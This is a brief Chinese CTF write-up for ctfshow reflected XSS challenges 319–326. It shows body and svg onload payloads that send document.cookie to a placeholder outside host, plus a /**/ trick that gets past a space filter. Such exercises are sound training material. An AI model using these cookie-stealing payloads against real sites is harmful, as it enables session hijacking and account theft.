ctfshow(319-＞326)--XSS漏洞--反射型XSS
Web319
思路
先测试过滤，发现过滤了script、img，没有过滤body，svg
payload:
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
得到flag.
Web320
先测试过滤，发现过滤了script、img，没有过滤body，svg
输入payload:
<body onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
<svg onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
发现payload被过滤。
测试之后发现是空格被过滤
空格使用 /**/ 或者 / 绕过。
<body/**/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
<body/onload="location.href='http://xx.xx.xx.xx/flag.php?cookie='+document.cookie"/>
得到flag.
Web321-326
使用与上一题同样的payload都可以得到flag.
原文地址：https://blog.csdn.net/m0_56019217/article/details/143636212
免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！